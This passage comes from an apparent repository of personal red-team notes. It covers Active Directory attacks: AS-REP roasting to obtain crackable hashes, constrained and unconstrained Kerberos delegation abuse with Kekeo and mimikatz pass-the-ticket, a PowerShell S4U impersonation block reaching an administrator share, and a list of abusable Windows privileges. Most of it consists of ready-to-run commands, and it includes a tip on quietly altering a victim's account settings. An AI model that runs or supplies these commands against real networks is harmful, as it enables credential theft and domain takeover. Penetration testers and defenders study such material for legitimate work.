-Properties distinguishedname -Verbose` 157 | 158 | `Get-DomainUser -UACFilter DONT_REQ_PREAUTH` 159 | 160 | Note: If you have GenericWrite/GenericAll rights over a target user, you can maliciously modify their userAccountControl to not require preauth, use ASREPRoast, and then reset the value. 161 | 162 | Now switch from PowerView to ASREPRoast: 163 | 164 | https://github.com/HarmJ0y/ASREPRoast 165 | 166 | `Get-ASREPHash -UserName victim -Domain contoso.local -Verbose` 167 | 168 | "The final useful function in ASREPRoast is Invoke-ASREPRoast. If run from a domain authenticated, but otherwise unprivileged, user context in a Windows Kerberos environment, this function will first enumerate all users who have “Do not require Kerberos preauthentication” set in their user account control settings by using the LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304). For each user returned Get-ASREPHash is used to return a crackable hash." 169 | 170 | `Invoke-ASREPRoast -Verbose` 171 | 172 | ## S4U2 & Delegation 173 | 174 | http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 175 | 176 | https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/ 177 | 178 | First, enumerate all computers and users with a non-null msds-allowedtodelegateto field set. Find any users/computers with constrained delegation set: 179 | 180 | `Get-DomainUser -TrustedToAuth` 181 | 182 | `Get-DomainComputer -TrustedToAuth` 183 | 184 | Filtered and verbose: `Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-alloweddelegateto,useraccountcontrol -Verbose | fl` 185 | 186 | Enumerate all servers that allow unconstrained delegation (userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION), and all privileged users that aren't marked as sensitive/not for delegation: 187 | 188 | `Get-DomainComputer -Unconstrained` 189 | 190 | `Get-DomainUser -AllowDelegation -AdminCount` 191 | 192 | Hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation: 193 | 194 | `Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation` 195 | 196 | Now, remember that a machine or user account with a SPN set under msds-allowedtodelegateto can pretend to be any user they want to the target service SPN. 197 | 198 | ### Scenario 1 - User Account Configured For Constrained Delegation 199 | 200 | Use Kekeo or Linux tools with a user account and a known plaintext password or NTLM hash to request a TGT, execute S4U TGS request, and access the service. 201 | 202 | `asktgt.exe /user:SQLService /domain:testlab.local /password:Password1 /ticket:sqlservice.kirbi` 203 | 204 | `s4u.exe /tgt:sqlservice.kirbi /user:Administrator@testlab.local /service:cifs/PRIMARY.testlab.local` 205 | 206 | `mimikatz.exe "kerberos:ptt" "cifs.PRIMARY.testlab.local.kirbi" "exit"` 207 | 208 | Finally, access the target as the Admin: `dir \\PRIMARY.testlab.local\C$` 209 | 210 | ### Scenario 2 - Same as 1, But With a Computer Account 211 | 212 | Get SYSTEM and take on the privileges of the computer account. 213 | 214 | ``` 215 | # load the necessary assembly 216 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') 217 | 218 | # execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user 219 | $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@TESTLAB.LOCAL') 220 | 221 | # actually impersonate the next context 222 | $Context = $Ident.Impersonate() 223 | 224 | # implicitly invoke S4U2Proxy with the specified action 225 | ls \\PRIMARY.TESTLAB.LOCAL\C$ 226 | 227 | # undo the impersonation context 228 | $Context.Undo() 229 | ``` 230 | 231 | -------------------------------------------------------------------------------- /PrivEsc.md: -------------------------------------------------------------------------------- 1 | # PrivEsc Notes 2 | 3 | ## Windows Privileges 4 | 5 | https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/ 6 | 7 | Windows privs (`whoami /priv`) that can be abused : 8 | * SeImpersonatePrivilege (Rotten Potato) 9 | * SeAssignPrimaryPrivilege 10 | * SeTcbPrivilege 11 | * SeBackupPrivilege 12 | * SeRestorePrivilege 13 | * SeCreateTokenPrivilege 14 | * SeLoadDriverPrivilege 15 | * SeTakeOwnershipPrivilege 16 | * SeDebugPrivilege -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReadTeamMemory 2 | 3 | This is a repository for various commands I often forget and need to look-up again. I'll add/delete/update as I go along. This is acting a central location for my notes from various blog posts and books. --------------------------------------------------------------------------------